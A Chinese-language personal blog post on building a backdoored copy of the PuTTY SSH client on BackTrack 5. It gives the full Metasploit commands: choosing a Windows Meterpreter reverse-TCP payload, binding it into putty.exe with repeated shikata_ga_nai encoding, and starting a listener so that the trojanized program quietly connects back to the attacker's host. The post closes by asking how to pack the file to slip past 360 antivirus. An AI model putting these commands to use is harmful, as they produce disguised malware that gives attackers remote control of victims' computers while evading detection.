Chinaunix首页 | 论坛 | 博客
  • 博客访问: 1663108
  • 博文数量: 695
  • 博客积分: 0
  • 博客等级: 民兵
  • 技术积分: 4027
  • 用 户 组: 普通用户
  • 注册时间: 2013-11-20 21:22
文章分类

全部博文(695)

文章存档

2018年(18)

2017年(74)

2016年(170)

2015年(102)

2014年(276)

2013年(55)

分类: 网络与安全

2016-03-02 09:48:49

     BT5作为一个集成了各种黑客工具的平台,为各种黑客攻击与渗透测试都提供了丰富实用的小工具,今天了解的是如何在BT5平台下制作一个简单的后门。过去自己一直以为木马这种东东是多么的玄妙,也一直听说黑客工具的发展已经大大降低了恶意程序的门槛,但是自己一直都没有能够接触到实质的东西,打破心中的这层薄纱。今天终于可以小试身手,对木马后门多一些了解。

一、选定木马载荷
     一个木马首先要有功能代码,比如隐蔽后门,窃取隐私等等,Metasploit下已经为我们提供了丰富的攻击载荷可以使用,我们可以在msfconsole下使用msfpayload查看相关的攻击载荷:

     这里的具体命令为:
 msfpayload -l | grep 'windows' | grep 'reverse_tcp' | grep 'meterpreter'
-l:列出msf支持的所有payload模块
     后续的几个grep命令则是通过管道过滤模块信息,最终只选择windows平台适用的自动连接后门的、可以进行后渗透攻击的模块,这里实际上我们选择了第一个“windows/meterpreter/reverse_tcp”,然后我们查看该模块需要的配置信息,加字母'O'即可:

     可以看到这里的LHOST作为攻击主机的IP缺省,需要我们手动配置,而靶机自动回连的端口默认为4444,建议手动设置为80/8080等常用端口

二、将攻击载荷绑定到载体程序
     这里的攻击载荷需要和一个正常程序绑定起来,我们选择的是Putty.exe,常见的ssh工具,这里需要使用msfencode命令,该命令的作用就是将一段代码包装成可执行文件,正常的Putty.exe用来作为最终恶意执行文件的生成模板。

     这里的命令比较常,仔细看就是:
   msfpayload windows/meterpreter/reverse_tcp LHOST=AttackerIP LPORT=80 R |  msfencode -t exe -x putty.exe -k -o putty_backdoor.exe -e x86/shikata_ga_nai -c 7
先看msfpayload的参数:
--LHOST/LPORT:用来指定攻击主机的IP和端口,也就是靶机的后门要连接的地址
--R:Raw,攻击载荷的原始二进制码,允许载荷通过管道作为msfencode等其他工具的输入
再来看msfencode的参数:
--t:输入文件的格式,常见的可以有exe\perl\pl\ruby\asp\dll等
--x:指定一个生成可执行文件的文件模板
--k:保持模板文件正常工作,攻击载荷在新的线程中运行
--o:输出文件
--e:使用的编码器
--c:对数据进行编码的次数
 
    这步工作完成之后,我们可以得到包含了攻击载荷的putty_backdoor.exe程序

三、靶机测试
     在靶机上运行我们的恶意后门之前,首先要在攻击机上开启监听程序:
msfcli exploit/multi/handler payload=windows/meterpreter/reverse_tcp LHOST=IP LPORT=80 E 

     
然后再靶机上运行putty_backdoor.exe之后,结果会和正常程序一样,唯一不同的是会悄悄连接我们的攻击主机,然后运行migrate命令,将我们的攻击载荷迁移到其他正常进程中,可以避免随着putty的关闭而关闭。如何感染文件,如何确保下次自启动,如何获取文件,则是meterpreter负责的后渗透工作了。
问题:
     这里自己做的putty_backdoor.exe尽管经过了7次编码,但是还是被360一下检测出来了,如果想免杀,最简单的方法是加壳;可以使用UPX工具来加壳,可是自己运行upx命令时却无法对putty_backdoor.exe加壳,提示
     CantPackException: superfluous data between sections“节之间有数据错误”
     
但是如果对于是正常的putty.exe则upx可以正常打包,看来是msfencode导致了文件格式的错误,但是却并不妨碍程序运行,但是应当如何修改呢?
阅读(2224) | 评论(0) | 转发(0) |
0

上一篇:python request

下一篇:Shellcode的编写

给主人留下些什么吧!~~